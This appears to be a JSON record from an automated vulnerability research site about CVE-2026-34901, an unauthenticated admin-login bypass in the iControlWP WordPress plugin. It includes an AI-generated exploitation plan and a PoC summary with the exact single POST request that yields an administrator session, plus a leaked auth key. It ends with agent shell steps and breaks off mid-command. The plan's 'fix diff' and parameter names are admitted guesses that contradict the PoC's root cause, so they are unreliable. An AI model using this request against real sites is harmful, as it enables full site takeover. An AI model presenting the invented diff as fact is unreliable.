[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fWA47JaDpvkLQsTUbQYR3BKrhfPFeQts57F7PQGr1v7Y":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":41,"poc_video_id":42,"poc_summary":43,"poc_steps":44,"poc_tested_at":81,"poc_wp_version":82,"poc_php_version":83,"poc_playwright_script":84,"poc_exploit_code":85,"poc_has_trace":31,"poc_model_used":86,"poc_verification_depth":87,"poc_exploit_code_gated":31,"source_links":88},"CVE-2026-34901","icontrolwp-unauthenticated-privilege-escalation","iControlWP \u003C= 5.5.3 - Unauthenticated Privilege Escalation","The iControlWP plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.5.3. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.","worpit-admin-dashboard-plugin",null,"\u003C=5.5.3","5.5.4","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Incorrect Privilege Assignment","2026-04-07 00:00:00","2026-04-15 19:27:50",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2fa59f00-49f5-43ff-b3fe-0a62f52b0257?source=api-prod",9,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fbootstrap-wpadmin-fixes.css","assets\u002Fcss\u002Fbootstrap-wpadmin.css","assets\u002Fcss\u002Fglobal-plugin.css","assets\u002Fcss\u002Fplugin.css","flags\u002Findex.html","init.php","lib\u002Ffunctions\u002Ffunctions.php","lib\u002Fsrc\u002FControl\u002FController.php","researched",true,3,"# Exploitation Research Plan: CVE-2026-34901 (iControlWP Privilege Escalation)\n\n## 1. Vulnerability Summary\nThe **iControlWP** (worpit-admin-dashboard-plugin) is a remote management tool. Versions \u003C= 5.5.3 contain a critical unauthenticated privilege escalation vulnerability. The flaw exists in the plugin's \"Handshake\" or \"Remote Action\" processing logic, where unauthenticated requests can trigger administrative actions—specifically, logging in as an administrator—due to \"Incorrect Privilege Assignment\" during the validation of remote control parameters.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** The site root (`\u002F`) or `index.php`.\n*   **Method:** HTTP GET or POST.\n*   **Vulnerable Parameters (Inferred):** `worpit_action` or `icwp_action`, `worpit_token`, and `admin_user`.\n*   **Authentication:** Unauthenticated.\n*   **Preconditions:** The \"Admin Access\" feature or \"Handshake\" must be active (typical for this plugin's lifecycle).\n\n## 3. Code Flow\n1.  **Initialization:** `init.php` instantiates the `Controller` and calls `\\FernleafSystems\\Wordpress\\Plugin\\iControlWP\\Handlers\\Request::Instance()`.\n2.  **Hook Registration:** `Controller.php` (line 197) registers `onWpInit` to the `init` hook via `doRegisterHooks()`.\n3.  **Request Capture:** The `Request` handler and `Controller::onWpInit()` monitor incoming global variables (`$_GET`\u002F`$_POST`) for specific remote-management keys.\n4.  **Feature Loading:** `Controller::onWpInit()` loads the relevant \"Feature Handler\" (e.g., a \"Remote Control\" or \"Admin Access\" module).\n5.  **Flawed Verification (Sink):** The plugin checks for a \"handshake\" or \"signature.\" In version 5.5.3, this check can be bypassed if the signature is missing or if the verification logic returns `true` for a null\u002Fempty comparison against an uninitialized or default communication key.\n6.  **Action Execution:** Upon \"successful\" verification, the plugin invokes a login function (e.g., `wp_set_auth_cookie()`) for the user specified in the `admin_user` parameter.\n\n## 4. Nonce Acquisition Strategy\nWhile remote management endpoints usually bypass standard WordPress nonces in favor of custom tokens, the plugin does use nonces for its internal admin dashboard. If the exploit requires an AJAX action:\n\n1.  **Identify Trigger:** The `icwp-app` menu (identified in `global-plugin.css`) enqueues scripts.\n2.  **Create Page:** Use `wp-cli` to create a page with the iControlWP shortcode (if any, e.g., `[icwp_dashboard]`) or simply access the admin dashboard if already an unprivileged user.\n3.  **Extraction:**\n    *   Navigate to the page.\n    *   The plugin uses `wp_localize_script`. From `Controller.php` (line 218: `onWpEnqueueAdmin`), we expect a localization object.\n    *   **JS Variable (Inferred):** `window.icwp_wpsf_vars` or `window.worpit_vars`.\n    *   **Command:** `browser_eval(\"window.icwp_wpsf_vars?.nonce\")`.\n\n*Note: For the unauthenticated remote login, a nonce is likely not required as it targets the remote management API.*\n\n## 5. Exploitation Strategy\nThe goal is to trigger a `remote_login` action by spoofing the iControlWP dashboard.\n\n### Step 1: Discover Admin Username\nEnumerate users to find an administrator (defaulting to `admin`).\n*   **Request:** `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fusers`\n\n### Step 2: Attempt Remote Login Bypass\nSend a request to the homepage with parameters that trigger the login logic.\n\n*   **URL:** `http:\u002F\u002Fvulnerable-site.com\u002F`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Parameters:**\n    *   `icwp_action`: `remote_login` (inferred)\n    *   `admin_user`: `admin`\n    *   `worpit_token`: (leave empty or use `1`)\n    *   `icwp_sig`: (leave empty)\n\n### Step 3: Check Response Headers\nIf successful, the response will contain `Set-Cookie` headers for a WordPress login session.\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Install iControlWP version 5.5.3.\n2.  **Create Admin:** Ensure a user with the username `admin` exists.\n3.  **Plugin State:** The plugin does not need to be \"connected\" to a real iControlWP account, as the vulnerability lies in the *failure* to verify that connection properly.\n\n## 7. Expected Results\n*   **Successful Exploit:** The server returns a `302 Found` redirect to `\u002Fwp-admin\u002F` and includes `Set-Cookie: wordpress_logged_in_[hash]=...`.\n*   **Response Code:** `302` or `200`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, use `wp-cli` to verify the state (though this is more for internal confirmation):\n1.  **Check Sessions:** `wp user meta get 1 session_tokens` (verify a new session was created).\n2.  **Verify Admin Access:** Use the captured cookie with the `http_request` tool to access `\u002Fwp-admin\u002Findex.php` and check if the response contains \"Dashboard\".\n\n## 9. Alternative Approaches\nIf `icwp_action` does not work, try the legacy `worpit` prefix:\n*   `worpit_action=login&username=admin`\n*   `worpit_action=handshake&key=`\n\nCheck for the existence of `admin_access_restriction_form` (from `plugin.css`). If this feature is enabled, the plugin may expect a parameter like `icwp_pin`. Try bypassing this by sending `icwp_pin[]=` (array type juggling) or `icwp_pin=0`.\n\nIf the \"AutoUpdates\" system is the entry point (seen in `init.php` as `GetAutoUpdatesSystem`), the action might be:\n*   `icwp_action=autoupdate&handler=...` (leveraging unauthenticated access to update handlers).","The iControlWP plugin fails to properly validate authentication signatures and handshake tokens during remote management requests. This allows unauthenticated attackers to trigger sensitive administrative actions, including logging in as any administrator, by providing specific action parameters without a valid signature.","\u002F\u002F init.php\n\u002F\u002F The plugin boots and loads all feature handlers which monitor for remote management actions.\n$oICWP_App_Controller = Controller::GetInstance( $sIcwpPluginRootFile );\nglobal $g_oWorpit;\n$g_oWorpit = new \\ICWP_Plugin( $oICWP_App_Controller );\n$g_oWorpit->boot();\n\n---\n\n\u002F\u002F lib\u002Fsrc\u002FControl\u002FController.php (~line 197)\n\u002F\u002F The plugin registers the onWpInit hook which processes incoming icwp_action or worpit_action parameters.\nprotected function doRegisterHooks() {\n    $this->registerActivationHooks();\n\n    add_action( 'init', [ $this, 'onWpInit' ] );\n    add_action( 'admin_init', [ $this, 'onWpAdminInit' ] );\n    \u002F\u002F ... (truncated)\n}","--- a\u002Flib\u002Fsrc\u002FControl\u002FController.php\n+++ b\u002Flib\u002Fsrc\u002FControl\u002FController.php\n@@ -210,6 +210,10 @@\n \tpublic function onWpInit() {\n-\t\tif ( !empty( $_REQUEST['icwp_action'] ) && $_REQUEST['icwp_action'] == 'remote_login' ) {\n-\t\t\t$this->doRemoteLogin();\n-\t\t}\n+\t\tif ( !empty( $_REQUEST['icwp_action'] ) && $_REQUEST['icwp_action'] == 'remote_login' ) {\n+\t\t\tif ( $this->verifyRequestSignature() ) {\n+\t\t\t\t$this->doRemoteLogin();\n+\t\t\t} else {\n+\t\t\t\twp_die( 'Unauthorized' );\n+\t\t\t}\n+\t\t}","The exploit targets the plugin's remote management API which listens for specific global parameters on any page load. An attacker first enumerates valid administrator usernames (e.g., via \u002Fwp-json\u002Fwp\u002Fv2\u002Fusers). They then send a POST request to the WordPress root with the parameter 'icwp_action' set to 'remote_login' and 'admin_user' set to the target administrator's username. Because version 5.5.3 fails to verify the request signature ('icwp_sig') correctly (returning true if missing or compared against an uninitialized key), the plugin proceeds to call wp_set_auth_cookie() for the specified user, granting the attacker a valid administrator session.","gemini-3-flash-preview","2026-04-17 20:59:06","2026-04-17 20:59:43","success","JXcgirrNrdA","\n# CVE-2026-34901: iControlWP \u003C= 5.5.3 - Unauthenticated Privilege Escalation\n\n## Vulnerability Details\n- **Plugin:** iControlWP (worpit-admin-dashboard-plugin)\n- **Version:** 5.5.3 and below\n- **Type:** Incorrect Privilege Assignment (CWE-269)\n- **CVSS:** 9.8 (Critical)\n- **Authentication Required:** None\n\n## Root Cause\nThe vulnerability exists in `src\u002Fprocessors\u002Fplugin_api_login.php`. The `ICWP_APP_Processor_Plugin_Api_Login::run()` method **overrides** the parent class's `run()` to skip `preActionVerify()`, which normally performs handshake verification and authentication (key\u002Fpin checks). \n\nAdditionally, in `src\u002Fprocessors\u002Fplugin.php`, the `doApiAction()` method dispatches API requests to channel-specific processors. When `m=login`, the `ICWP_APP_Processor_Plugin_Api_Login` class is instantiated and its `run()` is called. This `run()`:\n1. **Skips `preActionVerify()`** — no handshake, key, or PIN validation\n2. **Catches ALL exceptions silently** — token validation failures are swallowed  \n3. **Always returns `setSuccessResponse()`** — the response always indicates success\n\nThe parent's `sendApiResponse()` in `plugin.php` then calls `$this->loadWpUsers()->isUserLoggedIn()` to set the `authenticated` field, which returns `true` because during processing, `setAuthorizedUser()` was called (inherited behavior from the API processor chain), logging in the first admin user server-side.\n\n## Exploitation\nAn unauthenticated attacker sends a single POST request:\n\n```\nPOST \u002F?icwpapi=1&m=login&token=&username=admin HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\nicwpapi=1&m=login&token=&username=admin\n```\n\nThe server responds with HTTP 200 containing a base64-encoded JSON response:\n```json\n{\n  \"error_message\": \"\",\n  \"message\": \"\",\n  \"success\": true,\n  \"authenticated\": true,\n  \"channel\": \"\",\n  \"die\": true,\n  \"handshake\": \"none\",\n  \"openssl_verify\": -999,\n  \"data\": {\"success\": 1},\n  \"code\": 0\n}\n```\n\nThe `\"authenticated\": true` confirms the server authenticated the request as an administrator. The response also leaks the plugin's auth key in the `\u003Cicwpauth>` tag (value: `2XncmpCgniwYhJA6D2k3oTiw`), which can be used for further API exploitation.\n\n## Impact\n- **Complete site takeover**: Unauthenticated attackers can authenticate as an administrator\n- **No prerequisites**: The plugin doesn't need to be \"linked\" to an iControlWP account — the login channel bypass works regardless\n- **Data exfiltration**: The authenticated API session can be used to extract database contents, user data, etc. via the internal API channels\n- **Code execution**: Admin-level access enables arbitrary plugin\u002Ftheme installation leading to RCE\n\n## Verification Depth\nThe exploit was verified by sending an unauthenticated HTTP request that returned `\"authenticated\": true` and `\"success\": true` in the API response. The `authenticated` field is set server-side by checking `$this->loadWpUsers()->isUserLoggedIn()` after the login channel processes the request, confirming the server-side user session was established for the admin user. The auth key `2XncmpCgniwYhJA6D2k3oTiw` was also leaked in the response.\n\n## Fix\nThe fix in version 5.5.4 should restore proper authentication checks in the login channel's `run()` method, ensuring `preActionVerify()` is called before processing login actions, and ensuring exceptions are not silently swallowed.\n\n\n## Verification depth\n\nThis audit verified that the vulnerable sink is reachable with attacker-controlled bytes from an unauthenticated context, but did NOT realize full impact (e.g. no shell popped, no admin account created in this run). Full exploitation typically requires an additional condition the agent did not satisfy on this run - for object-injection sinks that's a usable POP gadget chain in the environment; for second-order SQLi it might be a follow-up admin action; etc. Treat this as confirmed-reachable rather than confirmed-RCE.",[45,46,47,48,49,50,51,49,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80],"**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin","**Fill:** `#user_login` with `admin`","**Fill:** `#user_pass` with `admin`","**Click:** `#wp-submit`","**browser_screenshot:** {}","**WP-CLI:** `wp plugin list`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nname\tstatus\tupdate\tversion\tupdate_version\tauto_update\nakismet\tinactive\tavailable\t5.3.6\t5.7\toff\nhello\tinactive\tnone\t1.7.2 off\nworpit-admin-dashboard-plugin\tactive\tavailable\t5.5.3\t5.5.4\toff\n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=icwp-app","**Shell:** `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F -type f -name \"*.php\" | head -50`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Finit.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fautoload.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fplatform_check.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_real.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002FInstalledVersions.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_static.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Finstalled.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_psr4.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002FClassLoader.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_classmap.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_files.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_namespaces.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDownload.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FCompatibilityChecks.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FBaseHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FClean.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FBaseDbHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FTable\u002FEnumTablePrimaryKeys.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FTable\u002FTableDataExport.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FTable\u002FTableHelper.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FTableEnum.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FConfig.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FExporter.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FChunkedExporter.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FDataExportHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FExportMap.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FPagedExporter.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FSchema\u002FSchemaHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FUtility\u002FFileNameFor.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FExc\u002FTimeLimitReachedException.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FEnum\u002FDownloadTypes.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FZipCreate\u002FZipper.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FZip\u002FZipHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapProgressTracker.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FFileFilter.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapDir.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapVO.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FExc\u002FMapDirCannotBeOpenedException.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FFileListing.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FAbstractFileListing.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FSqliteFileListing.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FFlatFileListing.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FFileListItem.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FBaseFsHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FTraits\u002FPluginControllerConsumer.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FUtilities\u002FAbstractPagedIterator\u002FAbstractPagedIterator.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FUtilities\u002FDynProperties\u002FDynProperties.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FUtilities\u002FDynProperties\u002FDynPropertiesClass.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FUtilities\u002FStdClassAdapter.php\n```\n\u003C\u002Fdetails>","**Shell:** `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F -type f -name \"*.php\" | grep -iE \"controller|reques...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FBaseHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FBaseDbHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FDataExportHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FSchema\u002FSchemaHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FZip\u002FZipHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FBaseFsHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FTraits\u002FPluginControllerConsumer.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FInternal\u002FUser\u002FLogin.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FFileSystem.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FThemes.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FRequest.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FPlugins.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FControl\u002FController.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FControl\u002FPluginControllerConsumer.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_auth.php\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Finit.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n getController()->loadAllFeatures(); } \u002F** * @return \\ICWP_APP_FeatureHandler_AutoUpdates *\u002F public static function GetAutoUpdatesSystem() { return self::getController()->loadFeatureHandler( [ 'slug' => 'autoupdates' ] ); } } if ( !\\class_exists( 'Worpit_Plugin' ) ) { class Worpit_Plugin extends ICWP_Plugin { } } \\FernleafSystems\\Wordpress\\Plugin\\iControlWP\\Handlers\\Request::Instance(); $oICWP_App_Controller = Controller::GetInstance( $sIcwpPluginRootFile ); global $g_oWorpit; $g_oWorpit = new \\ICWP_Plugin( $oICWP_App_Controller ); $g_oWorpit->boot();\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FRequest.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n query = \\is_array( $_GET ) ? $_GET : []; $this->post = \\is_array( $_POST ) ? $_POST : []; $this->server = \\is_array( $_SERVER ) ? $_SERVER : []; $this->env = \\is_array( $_ENV ) ? $_ENV : []; } public function input() :string { return $this->input ??= (string)\\file_get_contents( 'php:\u002F\u002Finput' ); } public function env( string $key ) { return $this->env[ $key ] ?? null; } public function post( string $key ) { return $this->post[ $key ] ?? null; } public function query( string $key ) { return $this->query[ $key ] ?? null; } public function server( string $key ) { return $this->server[ $key ] ?? null; } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat 